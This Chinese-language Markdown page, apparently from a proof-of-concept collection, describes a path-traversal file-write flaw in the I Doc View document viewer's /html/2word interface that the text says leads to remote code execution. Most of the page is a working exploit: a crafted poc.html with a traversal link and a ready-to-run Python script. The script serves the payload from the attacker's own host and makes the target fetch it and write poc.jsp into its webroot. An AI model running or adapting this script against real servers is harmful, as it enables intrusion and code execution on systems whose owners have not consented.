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99 lines
2.8 KiB
Markdown
99 lines
2.8 KiB
Markdown
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## I Doc View任意文件上传漏洞
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I DOC VIEW是一个在线的文档查看器，其中的/html/2word接口因为处理不当，导致可以远程读取任意文件，通过这个接口导致服务器下载恶意的JSP进行解析，从而RCE。
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## POC构造
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流程：携带恶意link[href]的html -> 远程获取 -> 解析出href -> 远程获取恶意文件
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poc.html
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```html
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<!DOCTYPE html>
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<html lang="en">
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<head>
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<title>test</title>
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</head>
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<body>
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<link href="/..\..\..\docview\poc.jsp">
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</body>
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</html>
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```
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然后构造 `..\..\..\docview\poc.jsp` 这个是文件
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## 利用脚本
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```python
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import http.server
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import socketserver
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import sys
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import threading
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import requests
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visited_pages = {'/': False, '/..\..\..\docview\poc.jsp': False}
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class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
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def do_GET(self):
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global visited_pages
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if self.path in visited_pages:
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visited_pages[self.path] = True
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if all(visited_pages.values()):
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print("Success! Go to http://{}:{}/poc.jsp".format(remote_ip,remote_port))
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threading.Thread(target=server.shutdown).start()
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if self.path == '/':
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self.send_response(200)
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self.send_header("Content-type", "text/html")
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self.end_headers()
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html = f'''<html>
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<head><title>Index Page</title></head>
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<body>
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<link href="http://{ip_address}:{port}/..\..\..\docview\poc.jsp">
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</body>
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</html>'''
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self.wfile.write(html.encode('utf-8'))
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elif self.path == '/..\..\..\docview\poc.jsp':
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self.send_response(200)
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self.send_header("Content-type", "text/html")
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self.end_headers()
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self.wfile.write(b"<html><body><h1>Poc Works!</h1></body></html>")
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else:
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self.send_error(404, "File not found")
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def log_message(self, format, *args):
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return
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def send_request_to_remote():
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remote_url = f'http://{remote_ip}:{remote_port}/html/2word?url={ip_address}:{port}'
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try:
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response = requests.get(remote_url)
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except Exception as e:
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pass
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if len(sys.argv) < 5:
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print("Usage: python script.py <IP_ADDRESS> <PORT> <REMOTE_IP> <REMOTE_PORT>")
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sys.exit(1)
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ip_address = sys.argv[1]
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port = int(sys.argv[2])
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remote_ip = sys.argv[3]
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remote_port = sys.argv[4]
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def start_server():
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global server
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server = socketserver.TCPServer((ip_address, port), MyHttpRequestHandler)
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server.serve_forever()
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server_thread = threading.Thread(target=start_server)
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server_thread.start()
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send_request_to_remote()
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```
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## 漏洞分析
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```
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https://mp.weixin.qq.com/s/lDqhDnZGXoRyp2IolQ2odg
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https://mp.weixin.qq.com/s/mD4EcVmJ9QPmmMLh6KrZ0g
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```
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